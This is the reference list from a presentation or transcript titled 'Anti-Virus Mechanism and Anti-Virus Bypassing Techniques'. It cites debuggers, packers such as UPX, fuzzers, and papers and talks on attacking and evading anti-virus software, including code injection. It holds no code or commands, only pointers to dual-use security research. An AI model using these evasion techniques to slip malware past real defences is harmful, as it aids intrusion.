http://www.pandasecurity.com/usa/homeusers/support/card/?Id=7&idIdioma=2&Ref=Tech

Portal

7) Sandbox

http://searchsecurity.techtarget.com/definition/sandbox

8) PE file format

http://win32assembly.programminghorizon.com/pe-tut1.html

9)PE Sections

http://www.csn.ul.ie/~caolan/publink/winresdump/winresdump/doc/pefile2.html

10) Olly Debugger (Ollydbg)

www.ollydbg.de/version2.html

10:1) White paper on Bypassing Anti-virus Scanners by Internet Security Team

11) UPX: The ultimate packer

http://upx.sourceforge.net/

12) Blackhat USA presentation, 0wning Anti-virus by Alex Wheeler and Neel Mehta

13) ARJ Header Information

http://www.fileformat.info/format/arj/corion.htm

http://techinicalplanet.blogspot.in/2013/02/antivirus-mechanism.html

14) http://upx.sourceforge.net/

15) Audit Results of famous AVs by Alex Wheeler and Neel Mehta

16) 4 types of vulnerabilities in Anti-viruses:

Whitepaper on Attacking Anti-virus by Feng Xue, Technical Lead, Nevis Labs.

17) Spike

http://www.immunitysec.com/resources-freesoftware.shtml

18) Sully

http://code.google.com/p/sulley

19) Webfuzz

http://www.fuzzing.org/wp-content/webfuzz.zip

20) CalmAv

http://www.clamav.net/lang/en/

21) AxMan

http://www.metasploit.com/users/hdm/tools/axman/

22) ComRaider

http://labs.idefence.com/software/fuzzing.php#more_comraider

23) sc.exe Utility in MS environment

http://technet2.microsoft.com/WindowsServer/en/library/0a658e97-51d5-4109b461-

a474c799964e1003.mspx

24) Code Injection

http://securityxploded.com/bypassing-antivirus-using-code-injection.php

Anti-Virus Mechanism and Anti-Virus Bypassing Techniques

Documents

Transcript of Anti-Virus Mechanism and Anti-Virus Bypassing Techniques